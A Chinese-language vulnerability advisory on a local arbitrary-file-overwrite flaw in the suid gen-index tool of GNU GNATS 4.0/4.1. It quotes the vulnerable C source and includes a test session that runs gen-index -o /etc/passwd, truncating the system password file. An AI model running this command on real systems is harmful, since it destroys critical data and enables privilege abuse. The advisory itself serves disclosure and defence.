安全研究

安全漏洞
GNU GNATS Gen-Index任意本地文件泄露/覆盖漏洞

发布日期:2005-07-07
更新日期:2005-07-07

受影响系统:
GNU GNATS 4.1
GNU GNATS 4.0
描述:
BUGTRAQ  ID: 14169

GNATS是一款GNU漏洞、缺陷跟踪系统。

GNATS以不安全的方式创建文件,能够运行gen-index的本地用户可以覆盖系统中的任意文件。

漏洞存在于gen-index main()函数中:

"gnats/gen-index.c"
int
main (int argc, char **argv)
{
  ...
  ...

    while ((optc = getopt_long (argc, argv, "o:hd:nVie",
                              long_options, (int *) 0)) != EOF)
    {
      switch (optc)
        {
        ...
        ...
        case 'o':
          file_name = optarg;
          break;

        case 'n':
          numeric_sorting = TRUE;
          break;
    ...
    ...
        }
    }

  ...
  ...

  if (file_name)
    output = fopen (file_name, "w+");
  if (output == (FILE *) NULL)
    {
      fprintf (stderr, "%s: can't write to %s: %s\n", program_name,
               optarg, strerror (errno));
      exit (3);
    }

  ...
  ...

  if (indexIsBinary (database))
    {
      char numFields = indexFieldCount (database);
      fwrite (&numFields, 1, 1, output);
    }

  ...
  ...
  if (numeric_sorting && num_entries > 0)
    {
      qsort (entries, num_entries, sizeof (Entry), entry_cmp);
      for (i = 0; i < num_entries; i++)
        {
          fwrite (entries[i].string, 1, entries[i].length, output);
        }
    }

  fclose (output);
  ...
  exit (0);
}

有“w+”参数的fopen()函数打开文件进行读写。如果不存在文件的话就创建文件,否则的话进行截尾,因此如果gen-index拥有suid root权限的话,就可以覆盖系统中的任意文件。

<*来源:Adam Zabrocki (pi3ki31ny@wp.pl
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112066901231154&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

pi3@darkstar:~$ pwd
/home/pi3
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r--    1 root     root          795 May 19 18:49 /etc/passwd
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
-r-sr-xr-x    1 root     root         465k Nov 21  2004 /usr/local/libexec/gnats/gen-index*
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r--    1 root     root            1 Jun 16 17:34 /etc/passwd
pi3@darkstar:~$ cat /etc/passwd
pi3@darkstar:~$

建议:
厂商补丁:

GNU
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.gnu.org/software/gnats

浏览次数:2899
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障